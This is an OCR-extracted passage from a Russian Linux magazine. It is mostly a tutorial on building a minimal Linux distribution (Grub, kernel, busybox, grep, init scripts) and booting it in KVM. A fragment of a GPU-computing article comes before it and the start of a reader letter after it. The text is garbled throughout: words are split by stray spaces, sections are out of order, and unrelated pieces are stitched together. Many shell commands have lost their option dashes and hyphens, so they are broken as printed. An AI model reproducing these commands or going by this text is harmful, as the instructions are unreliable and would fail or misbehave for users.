» Пре об ла дание вы чис лений по от но шению к за груз кам дан ных 
Для по вы шения про из во ди тель но сти необ хо ди мо мак си ми зи ро
вать ко ли че  ст во про из во ди мых вы чис лений на единицу за гру
жае мых дан ных из гло баль ной па мя ти. Миними зи ро вать ко ли
че  ст во досту пов в па мять по мо га ет ис поль зо вание раз де ляе мой 
па мя ти и кэ шей, за счет пе ре ис поль зо вания одним и тем же или 
дру ги ми по то ка ми близ ко рас по ло жен ных дан ных. 
» Локаль ность за гру жае мых дан ных Этот фак тор на пря мую сле
ду ет из пре ды ду ще го. Уве ли чение локаль но сти за гру жае мых дан
ных на уровне вар па по зво ля ет умень шить ко ли че  ст во и объ ем 
тран зак ций с па мя тью и по вы сить эф фек тив ность ра бо ты кэ шей. 
Уве ли чение локаль но сти за гру жае мых дан ных на уровне бло
ка по то ков по зво ля ет уве ли чить эф фек тив ность ис поль зо вания 
раз де ляе мой па мя ти и ра бо ты кэ шей.
» Де ление вар пов на услов ных пе ре хо дах Когда раз ные по то ки 
од но го вар па раз би ва ют ся по раз ным вет вям услов но го пе ре хо
да, вре мя ис полнения услов но го пе ре хо да скла ды ва ет ся из вре
мен ис полнения его вет вей. Т. е. час тое де ление вар пов по вет вям 
при во дит к де гра да ции про из во ди тель но сти; ее сте пень за ви сит 
от числа де лений вар пов и от раз ме ра вет вей пе ре хо да. |

При гла ша ем вы ска зать ся по тен ци аль ных ав то ров ста тей 
по па рал лель ным вы чис лениям – цен ные пред ло жения, кри ти ку 
и со ве ты при сы лай те по элек трон ной поч те: kalgin@ssd.sscc.ru, 
E.M.Baldin@inp.nsk.su.

Об рат ная связь

GTX 8800 Quadro

transpose_1 6.6 20

transpose_2 20 32

transpose_3 21 34

Время, мс

GTX 8800 Quadro Core i7

transpose_1 1.36 0.45

9.0transpose_2 0.44 0.28

transpose_3 0.43 0.26

> Ус ко ре ние раз-
лич ных ва ри ан тов 
реа ли за ции за да чи 
транс по ни ро ва ния 
мат ри цы по от но-
ше нию к по сле до-
ва тель ной реа ли-
за ции на про цес-
со ре Core i1� Раз-
мер мат ри цы ра вен 
1024 × 1024�

> Сред нее вре мя ра бо ты в мс раз лич ных ва ри ан тов реа ли за ции за-
да чи транс по ни ро ва ния мат ри цы� Раз мер мат ри цы — 1024 × 1024�
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Тут уж со всем все пло хо. По это му пред ла га ет ся путь, со вме
щаю щий досто ин ст ва обо их ва ри ан тов:
» Бе рем два де ре ва ис ход ных ко дов Grub.
» В пер вом де ре ве со би ра ем Grub с prefix=/usr (толь ко make install 
не де ла ем), во вто ром де ре ве со би ра ем Grub с prefix=/root/work/
src/_install_grub (make install то же не де ла ем).
» В пер вом де ре ве за ме ня ем все Makefile’ы на со от вет ст вую щие 
из вто ро го де ре ва и вы зы ва ем make install.

По лу ча ем: make install скла ды ва ет ре зуль та ты сбор ки в /root/
work/src/_install_grub, но в фай ло вой сис те ме ди ст ри бу ти ва 
мы мо жем раз мес тить за груз чик в /usr.

Кон фи гу ри ро вание с клю чом prefix=/usr:
CC=/root/work/files/toolchain/result/bin/x86_64unknownlinux
gnucc ./configure prefix=/usr 

4 Командуем CC=/root/work/files/toolchain/result/bin/x86_64-
unknown-linux-gnu-cc make.
5 Итак, до це ли – один шаг. Ос та лась од на про бле ма, об ход ной 
путь для ре шения ко то рой был обе щан в раз де ле «На строй ка». 
Как уста но вить Grub, скон фи гу ри ровн ный с клю чом prefix=/usr, 
в ка та лог /root/work/src/_install_grub? Обыч ная ко ман да make 
install уста но вит его в /usr и за трет фай лы сис тем но го за груз чи ка. 

Порас су ж даем ло ги че  ски. Суть уста нов ки в про стом ко пи ро
вании фай лов в нуж ный ка та лог. Вся ло ги ка это го со сре до то че на 
в Makefile’ах. Значит, нуж но их от кор рек ти ро вать должным об ра
зом. Но при кон фи гу ри ро вании с клю чом prefix=/root/work/src/_
install_grub нуж ные Makefile’ы соз да ют ся ав то ма ти че  ски. Ис поль
зо вание их при уста нов ке ре ша ет по став лен ную за да чу.

Соз да дим Makefile’ы для уста новки Grub в локаль ный ка та лог:
mkdir /root/work/src/grub1.99_temp/
tar C /root/work/src/grub1.99_temp/ xvf /root/work/download/
grub1.99.tar.xz
cd /root/work/src/grub1.99_temp/grub1.99/
CC=/root/work/files/toolchain/result/bin/x86_64unknownlinux
gnucc ./configure –prefix=/root/work/src/_install_grub

За меним Makefile’ы (их всего шесть) в основ ном де ре ве ис ход
ных ко дов. Мож но ко пи ро вать по од но му вруч ную, но удобнее 
сделать это из ко ман дной строки:
cd /root/work/src/grub1.99_temp
find ./grub1.99/ | grep «Makefile$» | xargs I {} t cp remove
destination {} .{}

На ко нецто мож но ус та но вить Grub в ло каль ный ка та лог:
cd /root/work/src/grub1.99/
make install

Действительно, в ка та ло ге /root/work/src/_install_grub лежит го
то вый за груз чик.

Описанный трюк с за ме ной Makefile’ов не стоит считать универ
саль ным прие мом. Нет никаких гарантий, что он сра бо тает для 
дру го го ПО или да же дру гих вер сий Grub.

Яд ро Linux
1 Ис ход ные ко ды яд ра уже за гру же ны, о чем за нас по за бо тил ся 
crosstool-ng. Ар хив в фор ма те tar.xz ле жит здесь: /root/work/
download/linux-3�2�25�tar�xz.

Н
а про шлом уро ке мы об за ве лись ин ст ру мен та ри ем для 
сбор ки ди ст ри бу ти ва. Те перь на ста ло вре мя при менить 
его на де ле!

Сбор ка ком понен тов
Вроде бы в Linux, где поч ти все ПО от кры то, не долж но быть ниче
го проще и стан дарт нее, чем со би рать ком понен ты ди ст ри бу ти
ва из ис ход ников. Увы, это не так. Де та ли сбор ки мо гут серьез но 
от ли чать ся от про ек та к про ек ту: раз нятся ме то ды по лу чения ис
ход но го ко да, фор ма ты ар хи вов, сис те мы кон фи гу ри ро вания 
и т. д. К это му сто ит отнестись с пониманием – слиш ком уж раз но
об раз ны про ек ты, и по мас шта бу, и по на зна чению: от яд ра со вре
мен ной ОС до мел кой биб лио теч ки, реа ли зую щей все го пару по
лез ных функ ций. Но ре шае мые при сбор ке за да чи оди на ко вы для 
лю бо го ПО. Это по зво ля ет сфор му ли ро вать об щую схе му:
1 По лу чение ис ход ных ко дов (на при мер, за груз ка ар хи ва).
2 Под го тов ка ис ход ных ко дов (на при мер, их рас па ков ка в ра бо
чий ка та лог).
3 Кон фи гу ри ро вание (на при мер, за пуск �/configure с нуж ны ми 
па ра мет ра ми).
4 Ком пи ля ция (на при мер, за пуск make).
5 Ус та нов ка (на при мер, за пуск make install).

Де таль ные ин ст рук ции по сбор ке кон крет но го про ек та вы уз
наете толь ко из его до ку мен та ции. Это един ст вен но вер ный путь!

За груз чик Grub
Са мый из вест ный и раз ви тый за груз чи к для ПК –Grub. Он ис поль
зу ет ся боль шин ст вом со ве мен ных ди ст ри бу ти вов Linux, в том 
чис ле и Ubuntu. Соберем его, действуя по нашей схеме.
1 Ис ход ные ко ды Grub мож но за гру зить с сай та gnu.org в ви де ар
хи ва в фор ма те tar.xz: wget -nd -P /root/work/download/ ftp://ftp�
gnu�org/gnu/grub/grub-1�99�tar�xz.
2 В дан ном слу чае тре бу ет ся толь ко рас па ко вать ар хив в ра бо
чий ка та лог:
tar C /root/work/src xvf /root/work/download/grub1.99.tar.xz
cd /root/work/src/grub1.99/

3 Скон фи гу ри ро вать Grub про сто: за дайте нуж ный ком пи ля тор C 
в пе ре мен ной ок ру жения CC и за пустите скрипт configure с па ра
мет ром prefix, ука зывающим ка та лог для уста нов ки (обыч но /usr). 

На беду, у ключа prefix в Grub двой ное на зна чение: вопервых, 
он указывает ме сто уста нов ки (ка та лог, ку да скла ды вать ре зуль
та ты сбор ки по ко ман де make install); а вовторых, ком понен ты 
Grub ищут друг дру га по это му пу ти, ра бо тая в со ста ве ди ст ри
бу ти ва. Итак, по лу ча ется два ва ри ан та сбор ки. Пер вый ва ри ант:
» При сбор ке ука зы ва ем prefix=/root/work/src/_install_grub. Make 
install скла ды ва ет ре зуль та ты сбор ки в /root/work/src/_install_
grub (в /usr ниче го не за ти ра ет ся). Но в фай ло вой сис те ме ди ст
ри бу ти ва мы вы ну ж де ны раз мес тить Grub то же в /root/work/src/_
install_grub (ина че ком понен ты не смо гут най ти друг дру га).

Ва ри ант дол жен ра бо тать, но очень хо чет ся раз мес тить за груз
чик в /usr. Вто рой ва ри ант:
» При сбор ке ука зы ва ем prefix=/usr. Make install скла ды ва ет ре
зуль та ты сбор ки в /usr, за ти рая сис тем ный Grub.

Воо ру жась под го тов лен ны ми ин ст ру мен та ми, Дмит рий Куз не цов за вер ша ет де ло 
по строе ния ми ни маль но го ди ст ри бу ти ва Linux.

Linux: Сбор ка 
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2 Нуж но рас па ко вать ар хив в ра бо чий ка та лог:
tar C /root/work/src/ xvf /root/work/download/linux3.2.25.tar.xz
cd /root/work/src/linux3.2.25/

3 Вопер вых, в фай ле Makefile корнево го ка та ло га ис ход ных ко
дов нуж но уста но вить зна чения пе ре мен ных ARCH и CROSS_COM
PILE (стро ки 195 и 196) сле дую щим об ра зом:
ARCH ?= x86_64
CROSS_COMPILE ?= /root/work/files/toolchain/result/bin/
x86_64unknownlinuxgnu.

Пер вая оп ре де ля ет це ле вую ар хи тек ту ру со би рае мо го яд ра. 
Вто рая на страи ва ет сис те му сбор ки на применение нуж но го ин ст
ру мен та рия, пу тем до бав ления ее зна чения как пре фик са при вы
зо ве ин ст ру мен тов сбор ки. На при мер, в дан ном слу чае имя ком
пи ля то ра из cc пре вра тит ся в /root/work/files/toolchain/result/bin/
x86_64-unknown-linux-gnu-cc. От ре дак ти ро вать Makefile мож но 
вруч ную в лю бом тек сто вом ре дак то ре или с по мо щью команд:
sed i 's/^ARCH.*?=.*$/ARCH ?= x86_64/' ./Makefile
sed i 's/^CROSS_COMPILE.*?=.*$/CROSS_COMPILE ?= \ /root\ /
work\/files\ /toolchain\/result\ /bin\ /x86_64unknownlinuxgnu/' 
./Makefile 

Вовто рых, нуж но соз дать файл �config, с по мо щью ко то ро
го за да ет ся кон фи гу ра ция яд ра Linux. К сча стью, в ис ход ных ко
дах для ка ж дой из под дер жи вае мых ар хи тек тур есть при ме ры 
кон фи гу ра ций. Как и в слу чае с crosstool-ng, удоб но взять один 
из них за осно ву, а за тем немно го под кор рек ти ро вать в слу чае 
необ хо ди мо сти. Но здесь не при дет ся ис кать нуж ный файл на
стройки в де ре ве ис ход ных ко дов и ко пи ро вать его вруч ную. Для 
это го есть спе ци аль ная ко ман да make defconfig.

Она соз даст файл �config в те ку щем ка та ло ге на осно ве стан
дарт ной кон фи гу ра ции для дан ной ар хи тек ту ры, ко то рая уже бы
ла за да на ранее в пе ре мен ной ARCH.

Для из менения кон фи гу ра ции яд ра Linux слу жит спе ци аль ная 
ин те рак тив ная сис те ма, по хо жая на ту, что ис поль зу ет ся в cross-
tool-ng. За пустить ее мож но командой make menuconfig.

Пра вок все го три.
» В раз де ле Processor type and features вклю чи те Buildin ker
nel command line, а за тем в Buildin kernel command string вве ди те 
root=/dev/sda1 rootfstype=ext4. Эта стро ка опи сы ва ет па ра мет ры, 
ко то рые яд ро бу дет ис поль зо вать при за груз ке. Здесь доста точ но 
ука зать рас по ло жение и тип корневой фай ло вой сис те мы. 
» Как вид но из пре ды ду ще го пунк та, ис поль зу ет ся фай ло вая 
сис те ма ext4, по это му ее нуж но вклю чить: раз дел File systems, па
ра метр The Extended 4 (ext4) filesystem.
» В раз де ле Kernel hacking от клю чи те Stack utilization instrumen
tation. Это из ба вит от на зой ли вых со об щений о со стоянии сте ка. 
Они бывают по лез ны при от лад ке, но иначе толь ко раз дра жа ют. 

Ос та лось за крыть сис те му кон фи гу ри ро вания (два ж ды на
жать Esc), со гла сив шись с со хранением из менений в фай ле �con-
fig. Кон фи гу ра ция яд ра го то ва.
4 Ком пи лируем: make.
5 Го то вый об раз яд ра Linux п ре дстав ля ет со бой един ст вен ный 
файл /arch/x86/boot/bzImage, по это му уста нов ка не тре бу ет ся.

При клад ное ПО и init
При клад ных про грамм ве ли кое мно же ст во. Да же ес ли ог
раничить ся лишь основ ны ми ути ли та ми команд ной стро ки, тра
ди ци он ны ми для лю бо го ди ст ри бу ти ва Linux, опи сание их сбор ки 

за ня ло бы не один де ся ток страниц. К сча стью, есть пре крас ный 
про ект busybox. Он реа ли зу ет функ цио наль ность init, shell и еще 
бо лее чем 300 про грамм команд ной стро ки Linux. Да же уди ви
тель но, что все это уме ща ет ся в единствен ном ис пол няе мом фай
ле объемом 2,5 МБ. Не ко то рые про грам мы слегка уре за ны – на
пример, мо жет от сут ст во вать под держ ка некоторых па ра мет ров. 
Но на до быть уж очень боль шим фа на том кон со ли, что бы ощу
щать эти неудоб ст ва. Оче вид но, что в дан ном слу чае вполне ра
зум но ис поль зо вать busybox. Не об хо ди мо толь ко сде лать два 
за ме чания:
» Син так сис фай ла inittab, необ хо ди мо го для init, в busybox 
немно го от ли ча ет ся от его клас си че  ско  го ана ло га.
» Ути ли та grep из busybox не уст раи ва ет один из ск риптов в Grub. 
Ис сле до вания по ка за ли, что все де ло в па ра мет ре -x. По это му 
grep при дет ся со брать от дель но. Воз мож но, в бу ду щих вер си ях 
busybox эта про бле ма бу дет ис прав ле на.
1 Ис ход ные ко ды busybox мож но за гру зить с сай та про ек та в ви
де ар хи ва в фор ма те tar.bz2: wget -nd -P /root/work/download/ 
www�busybox�net/downloads/busybox-1�20�2�tar�bz2.
2 Рас па ков ка ар хи ва в ра бо чий ка та лог:
tar C /root/work/src/ xjvf /root/work/download/busybox
1.20.2.tar.bz2
cd /root/work/src/busybox1.20.2/

На сай те про ек та для ка ж дой вер сии busybox мож но най ти пат
чи (на мо мент на пи сания ста тьи для вер сии 1.20.2 был досту пен 
толь ко один), ко то рые же ла тель но за гру зить и при менить к рас
па ко ван ным ис ход ным ко дам:
wget nd P /root/work/download/ www.busybox.net/downloads/
fixes1.20.2/busybox1.20.2kernel_ver.patch
patch p1 </root/work/download/busybox1.20.2kernel_ver.patch

3 Кон фи гу ри ро вание busybox и яд ра Linux ана ло гич ны: взять 
стан дарт ную кон фи гу ра цию, от крыть ин те рак тив ную сис те му 
кон фи гу ри ро вания и из менить несколь ко па ра мет ров:
make defconfig
make menuconfig

Как всегда, пра вок немно го.
» В раз де ле Busybox Settings > Build Options уста но вить па ра метр 
Building BusyBox as a static binary (no shared libs). Он оз на ча ет, что 
busybox нуж но со брать в ви де един ст вен но го ис пол няе мо го фай
ла. Все под дер жи вае мые про грам мы бу дут реа ли зо ва ны в ви де 
сим во ли че  ских ссы лок на него.
» Там же, па ра мет ру Cross Compiler prefix уста но вить зна чение 
/root/work/files/toolchain/result/bin/x86_64unknownlinuxgnu. 
Его смысл ана ло ги чен пе ре мен ной CROSS_COMPILE в яд ре Linux.
» В раз де ле Network utilities > inetd от клю чить Support RPC ser
vices. Для сбор ки с этим па ра мет ром в ис поль зуе мом ин ст ру
мен та рии не хва та ет за го ло воч ных фай лов. По сколь ку эта воз
мож ность не нуж на, про ще ее от клю чить, чем мо дернизи ро вать 
ин ст ру мен та рий.

Как и в слу чае кон фи гу ри ро вания яд ра Linux, вый дя из ин те
рак тив ной сис те мы и со гла сив шись с со хранением из менений 
в �config, по лу ча ем го то вую кон фи гу ра цию busybox.
4 Ком пи ля ция: make.
5 Ус та нов ка: make install.

В од ном из па ра мет ров настройки мес том уста нов ки был ука
зан ка та лог ./_install. Дей ст ви тель но, был соз дан /root/work/src/
busybox-1�20�2/_install с го то вым busybox.

Linux: Сбор ка ди ст ри бу ти ва 
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Ос та лось со брать grep. К сча стью, это на столь ко про сто, 
что не по тре бу ет ника ких по яснений. Все бы про грам мы так 
со би ра лись!
1 По лу чае м ис ход ные ко ды:
wget nd P /root/work/download/ ftp://ftp.gnu.org/gnu/grep/
grep2.10.tar.xz

2 Готовим ис ход ные ко ды:
tar C /root/work/src/ xvf /root/work/download/grep2.10.tar.xz
cd /root/work/src/grep2.10/

3 Конфигурируем:
CC=/root/work/files/toolchain/result/bin/x86_64unknownlinux
gnucc ./configure prefix=/root/work/src/_install_grep

4 Компилируем:
CC=/root/work/files/toolchain/result/bin/x86_64unknownlinux
gnucc make

5 Ус та нав ливаем: make install.
Ус та нов ка вы пол не на в ка та лог /root/work/src/_install_grep.

За го тов ка корневой ФС из crosstool-ng
Как уже го во ри лось ранее, в Linux всем при клад ным про грам
мам необ хо ди ма стан дарт ная биб лио те ка язы ка C. Без нее не об
хо дит ся ни один ди ст ри бу тив. К сча стью, она вхо дит в со став 
на ше го ин ст ру мен та рия, по это му с ее сбор кой во зить ся не при
дет ся, об этом уже по за бо тил ся crosstool-ng. Со б ран ную для це
ле вой плат фор мы вер сию мож но най ти здесь: /root/work/files/
toolchain/result/x86_64-unknown-linux-gnu/sysroot/. Как нетрудно 
до га дать ся по на званию, со дер жи мое ка та ло га sysroot слу жит 
от лич ной за го тов кой для корневой фай ло вой сис те мы но вого 
ди ст ри бу ти ва.

Минималь ный на бор стар то вых 
скриптов
Ка та лог /etc лю бо го со вре мен но го ди ст ри бу ти ва Linux со дер жит 
море сложней ших ск риптов и фай лов настройки. С виду ка
жет ся, что ра зо брать ся в них невоз мож но. Но сто ит по гру зить
ся в изу чение, как ста нет яс но, что боль шин ст во из них от ве ча
ют за на строй ки некой при клад ной про грам мы. Нет про грам мы, 
нет и со от вет ст вую щих фай лов. Для минималь но го ди ст ри бу ти
ва, опи сы вае мо го в дан ной ста тье, хватит трех. И их со дер жи мое 
так при ми тив но, что по яснения мо гут по ка зать ся из лишними.

Создание рабочего каталога:
mkdir /root/work/files/etc_files
cd /root/work/files/etc_files

Са ми фай лы мож но соз дать в лю бом тек сто вом ре дак то ре или, 
как по ка за но ни же, с по мо щью ко манд echo.
» Файл /etc/inittab, ко то рый кон фи гу ри ру ет init.
echo '::sysinit:/etc/rcS' >> ./inittab
echo 'tty1::respawn:/bin/sh' >> ./inittab
echo 'tty2::respawn:/bin/sh' >> ./inittab
echo 'tty3::respawn:/bin/sh' >> ./inittab
echo '::restart:/sbin/init' >> ./inittab
echo '::ctrlaltdel:/sbin/reboot' >> ./inittab

Смысл понятен, де та ли син так си са прояснит до ку мен та ция.
» Файл /etc/rcS, ука занный с inittab как стар то вый ск рипт.
echo '#!/bin/sh' >> ./rcS 
echo 'mount av' >> ./rcS 
echo 'mdev s' >> ./rcS 
echo 'echo «Hello, my micro linux!»' >> ./rcS 

Этот обыч ный ск рипт команд ной обо лоч ки вы пол ня ет три 
дей ст вия:
> Мон ти ру ет фай ло вые сис те мы, ука зан ные в фай ле /etc/fstab.
> Соз да ет в ка та ло ге /dev все необ хо ди мые фай лы уст ройств. 
Здесь это де ла ет ся с по мо щью про грам мы mdev из busybox, хо тя 
в боль ших ди ст ри бу ти вах Linux обыч но ис поль зу ет ся спе ци аль
ная сис те ма udev, ко то рая тре бу ет от дель ной сбор ки и на строй ки.

> Вы во дит при вет ст вие.
По сколь ку он бу дет за пускать ся, дадим ему на это пра ва:

chmod 777 ./rcS
» Файл fstab. Стро го го во ря, он не обя за те лен. Но труд но удер
жать ся от со блаз на все го дву мя строчка ми по лу чить доступ к со
дер жи мо му фай ло вых сис тем proc и sysfs, ко то рые да ют ог ром
ное ко ли че  ст во по лез ной ин фор ма ции о ра бо таю щий сис те ме.
echo e 'proc\t/proc\tproc\tdefaults\t0\t0' >> ./fstab 
echo e 'sysfs\t/sys\tsysfs\tdefaults\t0\t0' >> ./fstab 

Все вме сте
Итак, необ хо ди мые ком понен ты го то вы. Ос та лось со брать из них 
корневую фай ло вую сис те му бу ду ще го ди ст ри бу ти ва. Это дела
ет ся про стым ко пи ро ванием по лу чен ных ком понен тов в один ка
та лог.  Пер вым де лом нуж но ско пи ро вать за го тов ку корневой 
фай ло вой сис те мы, соз дан ную crosstool-ng, в ра бо чий ка та лог:
cp r /root/work/files/toolchain/result/x86_64unknownlinux
gnu/sysroot/ /root/work/files/

Те перь ту да мож но до ба вить все ос таль ные ком по нен ты.
» Busybox
cp r /root/work/src/busybox1.20.2/_install/* /root/work/files/
sysroot/

» Grep (про грам мы из па ке та grep долж ны за менить со от
вет ст вую щие сим во ли че  ские ссыл ки busybox, по это му при ко пи
ро вании нуж но ука зать ключ remove-destination):
cp r removedestination /root/work/src/_install_grep/* /root/
work/files/sysroot/

» За груз чик Grub нуж но ко пи ро вать в ка та лог /usr, как бы ло ука
за но при сбор ке:
cp r /root/work/src/_install_grub/* /root/work/files/sysroot/usr/

» Стартовые скрипты и конфигурационные файлы
cp r /root/work/files/etc_files/* /root/work/files/sysroot/etc

» Об раз яд ра Обыч но рас по ла га ет ся в ка та ло ге /boot. Нуж но соз
дать его и ско пи ро вать ту да bzImage, пе ре име но вав в со от вет ст
вии с тре бо ва ния ми Grub в vmlinuz-3�2�25:
mkdir /root/work/files/sysroot/boot
cp /root/work/src/linux3.2.25/arch/x86/boot/bzImage /root/work/
files/sysroot/boot/vmlinuz3.2.25

Ос та лось соз дать пус тые ка та ло ги /proc, /sys и /dev для мон ти
ро ва ния фай ло вых сис тем и соз да ния фай лов уст ройств:
cd /root/work/files/sysroot/
mkdir proc sys dev

Корневая файловая система готова.

Запуск го то во го ди ст ри бу ти ва
Итак, можно считать, что дистрибутив Linux собран. На до бы про
верить его работоспособность и настроить загрузчик. Для это
го нужено компьютер или раздел на жестком диске. Но свобод
ный компьютер для экспериментов мало у кого найдется, а чтобы 
уверенно выполнять такие трюки на отдельном разделе жесткого 
диска своей рабочей машины, нужен немалый опыт. Идеальное 
решение – виртуальная машина (ВМ): делаешь все что угодно, 
а если чтото не вышло, всегда можно удалить файл с образом 
жесткого диска и попробовать еще раз. Ос та лось вы брать эту ВМ. 

Вир ту аль ная ма ши на KVM
Тех но ло гии вир туа ли за ции в по следние го ды до воль но бур
но раз ви ва ют ся, по это му вы би рать есть из че го. Но вир туа ли за
ция не яв ля ет ся те мой дан ной ста тьи, по это му хо те лось бы най ти 
ре шение по про ще. Тут внимание сра зу при вле ка ет KVM (Kernel 
Virtual Machine), ВМ яд ра Linux. Она в яд ре, а яд ро уже есть; зна
чит, с ней будет мень ше все го про блем. Здесь сле ду ет от ме тить, 
что по пасть в яд ро дав но меч та ли все. Мно гие го ды шла из ну ри
тель ная борь ба за это «ме сто под солн цем». Но поя ви лась KVM – 
и в два сче та обош ла ста рич ков. По бе да, ви ди мо, бы ла одер жа на 
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ком пакт но стью: для ра бо ты KVM доста точ но за гру зить один мо
дуль яд ра и уста но вить QEMU для вир туа ли за ции вво да/вы во да. 
Правда, такое ре шение ра бо та ет толь ко на со вре мен ных про цес
со рах Intel и AMD с ап па рат ной реа ли зацией тех но ло гии под держ
ки вир туа ли за ции. Но эта про бле ма с ка ж дым го дом те ряет свое 
зна чение. Про ве рить на ли чие у про цес со ра данной функ цио наль
но сти мож но так (ес ли вы во дит ся ok, то под дер жи ва ет):
[ «`egrep '̂ flags.*(vmx|svm)' /proc/cpuinfo`» != “” ] && echo “ok”

Установить KVM просто:
aptget install kvm qemu

Теперь загрузите нужный драйвер, и можно приступать к ра
боте. Для процессоров AMD скомандуем modprobe kvm-amd, 
для процессоров Intel – modprobe kvm-intel. Ес ли при за груз ке 
драй ве ра вы да ет ся ошиб ка Operation is not supported [Опе ра ция 
не под дер жи ва ет ся], ве ро ят но, в BIOS от клю че на вир туа ли за ция.

Установка ОС
Пора разобраться в работе инсталлятора ОС. Непосвященным эта 
задача может показаться неподъемной. Уж очень большое впе
чатление производит программа, способная превратить груду ми
кросхем в современный компьютер. Однако все эти чудеса обес
печиваются ПО, входящим в состав дистрибутива ОС, а процедура 
установки сводится к подготовке жесткого диска и простому ко
пированию на него нужных файлов. Кто бы мог подумать, что та
инственный образ инсталятора ОС так легко развенчать? Далее 
вся его работа будет подробно рассмотрена и проделана вручную.

Пер вым де лом ну жен сам же ст кий диск, на ко то рый бу дет уста
нав ли вать ся ОС. Для ВМ его роль иг ра ет обыч ный файл, на зы ва
емый об ра зом же ст ко го дис ка. Для ра бо ты с ними в QEMU есть 
спе ци аль ная про грам ма. Вот как с ее по мо щью мож но соз дать об
раз же ст ко го дис ка раз ме ром 1 ГБ:
qemuimg create /root/work/files/sysroot.img 1G

Это об раз са мо го про сто го ти па (rawфор мат), то есть обыч ный 
файл, за полнен ный ну ля ми. С та ким же успе хом для его соз дания 
мож но бы ло бы восполь зо вать ся ко ман дой dd.

Итак, диск есть. Как с ним ра бо тать? С ре аль ны ми же ст ки ми 
дис ка ми все бы ло бы по нят но: в Linux они пред став ле ны фай ла ми 
в ка та ло ге /dev. А с об раз ами? Хо ро шо бы уметь и с ними ра бо тать 
ана ло гич но. Это воз мож но с по мо щью тех но ло гии се те во го блоч
но го уст рой ст ва (Network Block Device, NBD). Она да ет воз мож
ность ра бо тать с уда лен ны ми же ст ки ми дис ка ми че рез сеть TCP/
IP. Сер вер – ком пь ю тер, ко то рый пре достав ля ет доступ к сво ему 
же ст ко му дис ку. На нем ра бо та ет при клад ная сер вер ная про грам
ма, принимаю щая за про сы из се ти и транс ли рую щая их в локаль
ные дис ко вые опе ра ции. Кли ент – ком пь ю тер, же лаю щий по лу
чить доступ к уда лен но му же ст ко му дис ку. На нем яд ро Linux (для 
это го оно долж но быть со б ра но с па ра мет ром CONFIG_BLK_DEV_
NBD) соз да ет в ка та ло ге /dev на бор фай лов nbdN, ко то ры ми бу
дут пред став лять ся уда лен ные дис ки. Как все это по мо жет в ра
бо те с об раз ами? В QEMU есть спе ци аль ная про грам ма qemu-nbd, 
по зво ляю щая пред ста вить об раз же ст ко го дис ка вир ту аль ной ма
ши ны уда лен ным же ст ким дис ком. Сле до ва тель но, мож но под
клю чить об раз к фай лу, на при мер, /dev/nbd0, и ра бо тать с ним как 
с обыч ным же ст ким дис ком. Ес ли NBD в яд ре Linux со б ра на в ви де 
мо ду ля (на при мер, так сде ла но в Ubuntu 12.04 LTS), нуж но не за
быть его за гру зить:
modprobe nbd max_part=16
qemunbd c /dev/nbd0 /root/work/files/sysroot.img
partprobe /dev/nbd0

Теперь с помощью обычных средств для разметки дисков мож
но создать разделы. В данном случае достаточно простейшего ва
рианта: один большой первичный раздел, занимающий все до
ступное пространство. Нужно только учесть, что в начале диска 
необходимо оставить 32,3 КБ для установки загрузчика. 
parted /dev/nbd0 mklabel msdos

parted a cylinder /dev/nbd0 mkpart primary 32.3k 1024
parted /dev/nbd0 set 1 boot on

В ка та ло ге /dev поя вил ся но вый файл nbd0p1. Это и есть толь ко 
что соз дан ный раз дел. Для пол ной го тов но сти к ра бо те оста лось 
толь ко от фор ма ти ро вать его. Ка кую фай ло вую сис те му вы брать? 
Лю бую. Глав ное, что бы яд ро при за груз ке смог ло ее опо знать 
и смон ти ро вать корневую фай ло вую сис те му. Опи сан ная вы ше 
кон фи гу ра ция яд ра тре бу ет ext4:
mkfs.ext4 /dev/nbd0p1

Те перь ту да нуж но за пи сать корневую фай ло вую сис те му. Как 
это сде лать? Тут то же все стан дарт но для поль зо ва те ля Linux: 
смон ти ро вать раз дел в ка койнибудь ка та лог (на при мер, мож
но соз дать для этой це ли /root/work/files/mnt) и ско пи ро вать ту
да нуж ные фай лы.
mkdir /root/work/files/mnt
mount t ext4 /dev/nbd0p1 /root/work/files/mnt/
cp r /root/work/files/sysroot/* /root/work/files/mnt

Об раз го тов. Ос та лось толь ко под чис тить «хво сты»: раз мон
ти ро вать раз дел, осво бо дить файл nbd0 и вы гру зить мо дуль nbd.
umount /root/work/files/mnt/
qemunbd d /dev/nbd0
modprobe r nbd

Настройка загрузчика
По следний штрих – на стро ить и уста но вить за груз чик. Ес ли сей
час по про бо вать за гру зить KVM с об ра зом же ст ко го дис ка sys-
root�img, ниче го не по лу чит ся. BIOS безуспеш но по про бу ет най ти 
за груз чик, по сле че го про цесс за груз ки оста но вит ся. Мож но про
ве рить: kvm -m 512 /root/work/files/sysroot�img.

Дей ст ви тель но, даль ше бес конеч но го со зер цания со об щения 
Booting from Hard Disk [За гру жа ет ся с же ст ко го дис ка]... про дви
нуть ся не по лу ча ет ся.

К сча стью, у KVM есть сред ст во во об ще обой тись без за груз
чи ка: па ра метр kernel. Он по зво ля ет ука зать внешний файл об
раза яд ра Linux, вме сто то го, что бы до ве рять его по иск за груз чи
ку на же ст ком дис ке вир ту аль ной ма ши ны:
cp /root/work/src/linux3.2.25/arch/x86/boot/bzImage /root/work/
files/bzImage
kvm m 512 /root/work/files/sysroot.img kernel /root/work/files/
bzImage

За гру зи лась! Поя ви лось при гла шение команд ной стро ки. Те
перь мож но на стро ить Grub, что бы в дальней шем об хо дить ся 
без внешнего яд ра (внимание! Сле дую щие ко ман ды да ют ся в ОС, 
ко то рая за пу ще на на KVM): 
/usr/sbin/grubmkconfig o /boot/grub/grub.cfg
/usr/sbin/grubinstall /dev/sda
sync

Итак, за груз чик на стро ен, мож но за крыть вир ту аль ную ма ши
ну (про сто за крыть ок но, ко ман да sync не даст по те рять дан ные) 
и по про бо вать за пустить ее без па ра мет ра kernel:
kvm m 512 /root/work/files/sysroot.img

Загружается с жесткого диска! 

Заключение
Спасибо всем, кто дочитал до конца. Хочется верить, что труд, 
вложенный в написание этой статьи, не пропал даром. Надеюсь, 
многие узнали чтото новое про внутреннее устройство Linux 
и стали чувствовать себя более уверенно в работе с любым ди
стрибутивом. А это, в свою очередь, послужит надежным фун
даментом для поддержания интереса и дальнейшего углубления 
в удивительный и захватывающий мир открытого ПО. Кроме того, 
дистрибутив, сборка которого подробно описана в статье, не так 
уж бесполезен, как может показаться на первый взгляд. Напри
мер, он может служить прекрасным испытательным полигоном 
для экспериментов с ядром Linux. |
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1 Все мои фай лы тю-тю

В 
Я взял Linux Format и за гру зил на свой на-
столь ный ком пь ю тер но вую Ubuntu 12�10, 
и хо тя я вы брал ва ри ант «не уда лять свои 

